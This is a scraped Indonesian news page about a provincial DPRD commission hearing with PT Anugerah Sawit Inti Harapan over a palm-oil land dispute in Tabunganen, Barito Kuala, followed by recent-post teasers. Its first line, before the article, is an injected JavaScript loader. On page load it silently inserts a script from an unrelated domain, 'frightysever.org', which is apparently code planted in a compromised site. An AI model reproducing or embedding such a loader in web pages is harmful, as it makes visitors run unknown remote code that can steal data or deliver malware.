(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

DPRD Batola Panggil PT ASIH Terkait Sengketa Lahan di Tabunganen


KANALKALIMANTAN.COM, MARABAHAN – Anggota DPRD Kabupaten Barito Kuala (Batola) menggelar pertemuan dengan manajemen PT Anugerah Sawit Inti Harapan (ASIH). Pertemuan kali ini beragenda dengar pendapat terkait sengketa lahan di Kecamatan Tabunganen, Kabupaten Batola, Provinsi Kalimantan Selatan (Kalsel).

Rapat dengar pendapat ini disambut Komisi III, berkenaan adanya laporan masyarakat terkait sengketa lahan perkebunan kelapa sawit PT ASIH.

“Sebelumnya, kami menerima laporan dari masyarakat, sehingga perlu meminta keterangan dari pihak perisahaan yang dimaksud,” ungkap Junaidin, Wakil Ketua Komisi III Batola DPRD Batola, Selasa (10/5/2022).

Junaidi juga menyampaikan bahwa pihak PT ASIH kooperatif dan merespon baik dalam upaya penyelesaian masalah.Pihaknya telah menerima sekitar 200 fotokopi surat keterangan tanah warga.

 

Baca juga  : Korban Tewas Laka Maut di Poros Marabahan-Banjarmasin Kakak Adik, Satu Anak Kritis di RSUD Abdul Aziz

Namun, pihaknya belum dapat memastikan mengenai keabsahan surat tanah tersebut
“Apakah itu sesuai atau memang ada rekayasa dari pihak-pihak tertentu. Nanti kami akan menindaklanjutinya dan akan memanggil masyarakat yang namanya sesuai dengan surat keterangan tanah tersebut,” kata Junaidi.

Lanjutnya, sebagai wakil rakyat pihaknya akan berusaha mencarikan jalan terbaik agar pihak perusahaan dan warga bisa menyelesaikan permasalahan ini dengan baik, tanpa harus ke ranah hukum.

Sementara itu, manejemen PT ASIH, Wahyu, menegaskan, pihaknya sudah menawarkan pilihan jika warga ingin masuk ke plasma dan juga siap untuk ganti rugi lahan.

“Mengenai hal itu, harus dibuktikan dengan kepemilikan lahan yang sah dan bisa menunjukkan lokasi lahannya. Begitu juga dengan lahan yang masih dalam sengketa, kami tidak berani untuk melakukan ganti rugi, apalagi sampai menggarapnya,” tandas dia.(kanalkalimantan.com/rdy)

Reporter  : rdy
Editor : kk


Desy Arfianty

Recent Posts

Kritik Standar Etika Pejabat: Jalur Pintas hingga DPR Jadi ‘Dewan Perwakilan Partai’

KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More

57 menit ago

98 Usulan Infrastruktur dari Musrenbang Halong

KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More

1 jam ago

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

15 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

18 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

19 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

19 jam ago

This website uses cookies.